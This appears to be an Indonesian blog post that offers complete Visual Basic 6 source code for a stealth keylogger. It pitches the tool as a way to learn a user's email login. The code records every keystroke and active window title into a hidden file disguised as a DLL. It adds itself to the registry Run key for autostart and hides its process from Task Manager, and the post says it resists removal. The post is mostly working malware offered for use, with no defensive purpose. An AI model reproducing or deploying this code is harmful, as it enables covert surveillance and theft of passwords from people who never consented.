Posted by: sepri18 | July 29, 2007

KeyLogger

Mungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User D

Okay… berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.

Yang perlu diperhatikan :

1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:

(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).

2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)

3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)

4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig

5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad

6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user … (

—- more —-

======= code mulai ==========================

’simpan file hasil compile dg nama regsvc32.exe

‘form

’simpan dg nama FRMLOG.frm

Option Explicit

Private Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long

Private sAppName As String

Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002

Private Const RSP_SIMPLE_SERVICE = 1

Private Const RSP_UNREGISTER_SERVICE = 0

Private Const VK_BACK = &H8

Private Const VK_CONTROL = &H11

Private Const VK_SHIFT = &H10

Private Const VK_TAB = &H9

Private Const VK_RETURN = &HD

Private Const VK_MENU = &H12

Private Const VK_ESCAPE = &H1B

Private Const VK_CAPITAL = &H14

Private Const VK_SPACE = &H20

Private Const VK_SNAPSHOT = &H2C

Private Const VK_UP = &H26

Private Const VK_DOWN = &H28

Private Const VK_LEFT = &H25

Private Const VK_RIGHT = &H27

Private Const VK_MBUTTON = &H4

Private Const VK_RBUTTON = &H2

Private Const VK_LBUTTON = &H1

Private Const VK_PERIOD = &HBE

Private Const VK_COMMA = &HBC

Private Const VK_NUMLOCK = &H90

Private Const VK_NUMPAD0 = &H60

Private Const VK_NUMPAD1 = &H61

Private Const VK_NUMPAD2 = &H62

Private Const VK_NUMPAD3 = &H63

Private Const VK_NUMPAD4 = &H64

Private Const VK_NUMPAD5 = &H65

Private Const VK_NUMPAD6 = &H66

Private Const VK_NUMPAD7 = &H67

Private Const VK_NUMPAD8 = &H68

Private Const VK_NUMPAD9 = &H69

Private Const VK_F9 = &H78

Private Const VK_F8 = &H77

Private Const VK_F7 = &H76

Private Const VK_F6 = &H75

Private Const VK_F5 = &H74

Private Const VK_F4 = &H73

Private Const VK_F3 = &H72

Private Const VK_F2 = &H71

Private Const VK_F12 = &H7B

Private Const VK_F11 = &H7A

Private Const VK_F10 = &H79

Private Const VK_F1 = &H70

Private Sub LoadTextFile()

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & “settings.ini” For Input As #1

Line Input #1, sAppName

Close

Else

Open App.Path & “\settings.ini” For Input As #1

Line Input #1, sAppName

Close

End If

If sAppName = vbNullString Then

sAppName = “regsvc32″

End If

Exit Sub

dlgerror:

sAppName = “regsvc32″

End Sub

Private Sub SAVEDLL()

Dim nSaveLocation As String

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & sAppName & “.dll”

GoTo READY

Else

Open App.Path & “\” & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & “\” & sAppName & “.dll”

GoTo READY

End If

READY:

If txtLOGGED.Text = vbNullString Then

Exit Sub

End If

Print #1, Time & ” ” & Date & vbCrLf & “Size: ” & Format(FileLen(nSaveLocation) / 1000000, “.0″) & ” MB” & vbCrLf & “*** PROGRAMS OPENED ***” & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf

Close

Close

Close

SetAttr nSaveLocation, vbHidden

Exit Sub

dlgerror:

Err.Clear

Exit Sub

End Sub

Private Sub Form_Load()

On Error Resume Next

Call LoadTextFile

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = sAppName

ENTERREGISTRY

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub ENTERREGISTRY()

Dim nKey As Long

RegCreateKey LOCALMACHINE, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, nKey

If Len(App.Path) <= 3 Then

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & “.exe”, Len(App.Path & App.EXEName & “.exe”)

Else

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & “\” & App.EXEName & “.exe”, Len(App.Path & “\” & App.EXEName & “.exe”)

End If

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

Call SAVEDLL

ENTERREGISTRY

Unload Me

End

End Sub

Private Sub tmrCAPTION_Timer()

On Error Resume Next

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = False

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub tmrLOG_Timer()

On Error Resume Next

Dim nKey, nChar As Integer

Dim nText As String

For nChar = 1 To 255

nKey = GetAsyncKeyState(nChar)

If nKey = -32767 Then

nText = Chr(nChar)

If nChar = VK_BACK Then

nText = ” {B.S} ”

ElseIf nChar = VK_CONTROL Then

nText = ” {CTRL} ”

ElseIf nChar = VK_SHIFT Then

nText = ” {SHIFT} ”

ElseIf nChar = VK_TAB Then

nText = ” {TAB} ”

ElseIf nChar = VK_RETURN Then

nText = ” {ENTER} ”

ElseIf nChar = VK_MENU Then

nText = ” {ALT} ”

ElseIf nChar = VK_ESCAPE Then

nText = ” {ESC} ”

ElseIf nChar = VK_CAPITAL Then

nText = ” {CAPS} ”

ElseIf nChar = VK_SPACE Then

nText = ” {SP.B} ”

ElseIf nChar = VK_UP Then

nText = ” {UP} ”

ElseIf nChar = VK_LEFT Then

nText = ” {LEFT} ”

ElseIf nChar = VK_RIGHT Then

nText = ” {RIGHT} ”

ElseIf nChar = VK_DOWN Then

nText = ” {DOWN} ”

ElseIf nChar = VK_F1 Then

nText = ” {F1} ”

ElseIf nChar = VK_F2 Then

nText = ” {F2} ”

ElseIf nChar = VK_F3 Then

nText = ” {F3} ”

ElseIf nChar = VK_F4 Then

nText = ” {F4} ”

ElseIf nChar = VK_F5 Then

nText = ” {F5} ”

ElseIf nChar = VK_F6 Then

nText = ” {F6} ”

ElseIf nChar = VK_F7 Then

nText = ” {F7} ”

ElseIf nChar = VK_F8 Then

nText = ” {F8} ”

ElseIf nChar = VK_F9 Then

nText = “{F9}”

ElseIf nChar = VK_F10 Then

nText = ” {F10} ”

ElseIf nChar = VK_F11 Then

nText = ” {F11} ”

ElseIf nChar = VK_F12 Then

nText = ” {F12} ”

ElseIf nChar = VK_SNAPSHOT Then

nText = ” {PRINT SCRN} ”

ElseIf nChar = VK_RBUTTON Then

nText = ” {R.B} ”

ElseIf nChar = VK_LBUTTON Then

nText = ” {L.B} ”

ElseIf nChar = VK_MBUTTON Then

nText = ” {M.B} ”

ElseIf nChar = VK_PERIOD Then

nText = “.”

ElseIf nChar = VK_COMMA Then

nText = “,”

ElseIf nChar = VK_NUMLOCK Then

nText = ” {NUMLCK} ”

ElseIf nChar = VK_NUMPAD0 Then

nText = “0″

ElseIf nChar = VK_NUMPAD1 Then

nText = “1″

ElseIf nChar = VK_NUMPAD2 Then

nText = “2″

ElseIf nChar = VK_NUMPAD3 Then

nText = “3″

ElseIf nChar = VK_NUMPAD4 Then

nText = “4″

ElseIf nChar = VK_NUMPAD5 Then

nText = “5″

ElseIf nChar = VK_NUMPAD6 Then

nText = “6″

ElseIf nChar = VK_NUMPAD7 Then

nText = “7″

ElseIf nChar = VK_NUMPAD8 Then

nText = “8″

ElseIf nChar = VK_NUMPAD9 Then

nText = “9″

End If

txtLOGGED.Text = txtLOGGED.Text + nText

End If

Next

Call GetActiveWindowName

End Sub

Private Sub tmrSAVE_Timer()

Call SAVEDLL

txtLOGGED.Text = vbNullString

txtENUMERATE.Text = vbNullString

End Sub

====code end ===========

============code mulai ============

‘module visual basic

’simpan dg nama mdlActiveWindow.bas

Option Explicit

Public Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetForegroundWindow Lib “user32″ () As Long

Public Declare Function GetClassName Lib “user32″ Alias “GetClassNameA” (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Public nCAPTION As String

Public nTESTER As Long

Public nClass As String

Public Sub GetActiveWindowName()

nCAPTION = Space(256)

nClass = Space(256)

GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)

GetClassName GetForegroundWindow, nClass, Len(nClass)

If nTESTER = GetForegroundWindow Then Exit Sub

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & ” ” & nCAPTION

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass

nTESTER = GetForegroundWindow

End Sub


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories

%d bloggers like this: